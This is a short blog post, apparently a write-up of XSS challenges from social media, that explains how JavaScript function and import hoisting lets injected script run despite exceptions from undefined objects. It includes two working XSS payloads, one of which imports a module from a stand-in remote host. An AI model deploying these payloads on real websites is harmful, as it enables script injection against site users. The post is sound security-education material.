XSS Exception Bypass using Hoisting 🧙♂️
Recently, I stumbled upon some intriguing XSS tricks on Twitter and couldn't resist sharing my solutions. Let's dive into a fascinating XSS challenge and explore how we can outsmart it with JavaScript's hoisting mechanism.
The Challenge
Imagine this code snippet: x.y(1,INJECT);
. Looks simple, right? But here's the catch - neither x
nor y
are defined. It's a classic scenario in XSS where you're confined to a function call but can't exit the script tag. The trick? Using JavaScript's hoisting to our advantage.
Hoisting to the Rescue
In JavaScript, hoisting is this cool feature where the interpreter seems to move function and variable declarations to the top of their scope before the code executes. It's like having a backstage pass in a concert - you get to access things before they're officially declared!
So, when we encounter x.y()
, we hit a roadblock because x
is undefined.
The solution? Declare x
before its use, like this:
x.y(1,
// INJECTED START
prompt());
function x () {}
(
// INJECTED END
);
This way, the function declaration of x
gets hoisted, allowing the code to execute without a hitch. The undefined result from x.y
doesn't really matter; what's important is that our injected code runs successfully.
Leveling Up the Challenge
But wait, there's more! Another variant of the challenge uses x.y.z("test-INJECT")
.
This is trickier because it throws a 'TypeError' since x.y
is undefined. But fear not, we can solve this too:
x.y.z("test-"+prompt(document.domain));import x from "https://example.com/a.js";alert("")
And the below is the content of https://example.com/a.js
.
Trivial
Import declarations are hoisted. In this case, it means that the imported values are available in the module's code even before the place that declares them, and that the imported module's side effects are produced before the rest of the module's code starts running.
You can read this here ⬇️
The Takeaway
Playing around with these challenges has been a great learning experience. It's fascinating how understanding JavaScript's nuances, like hoisting, can help us find creative solutions to complex problems. I hope you found this exploration as intriguing as I did!
Happy coding! 😄